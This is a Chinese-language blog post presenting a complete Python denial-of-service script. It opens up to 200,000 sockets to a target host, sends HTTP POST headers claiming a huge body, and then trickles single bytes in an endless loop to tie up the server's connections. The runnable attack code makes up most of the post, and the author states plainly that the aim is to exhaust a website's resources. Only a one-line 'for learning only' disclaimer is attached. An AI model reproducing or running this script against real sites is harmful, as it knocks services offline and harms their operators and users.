Python实现DDOS攻击脚本

构建多个socket链接后,每个socket对这个网站无限的发送信息,做一个死循环,疯狂攻击。以起到占用他们网站资源链接的效果

    import socket
    import time
    import threading
    
       
    MAX_CONN = 200000    # 最大socket链接量
    PORT = 80            
    HOST = "地址"
    PAGE = "/photography"
       
    
    buf = ("POST %s HTTP/1.1\r\n"
           "Host: %s\r\n"
           "Content-Length: 10000000\r\n"
           "Cookie: dklkt_dos_test\r\n"
           "\r\n" % (PAGE, HOST))
    
    创建socket链接列表,存储上20万个socket
    socks = []
    循环创建socket链接
    def conn_thread():
        global socks
        for i in range(0, MAX_CONN):
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            try:
                s.connect((HOST, PORT))
                s.send(buf.encode("utf-8"))
                print("Send buf OK!,conn=%d\n" % i)
                socks.append(s)
            except Exception as ex:
                print("Could not connect to server or send error:%s" % ex)
                time.sleep(1)
    
    
    socket循环对目标网站发数据
    def send_thread():
        global socks
        while True:
            for s in socks:
                try:
                    s.send("f".encode("utf-8"))
                    print("send f OK!")
                except Exception as ex:
                    print("Send Exception:%s\n" % ex)
                    socks.remove(s)
                    s.close()
            time.sleep(0.1)
    
     多线程执行两个函数
    conn_th = threading.Thread(target=conn_thread, args=())
    send_th = threading.Thread(target=send_thread, args=())
    
    conn_th.start()
    send_th.start()

文章仅供学习,恶意攻击他人服务器出现的一切后果请自行负责。

Jinming

95后典型金牛座,强迫症。

相关推荐

暂无评论

小程序 小程序
小程序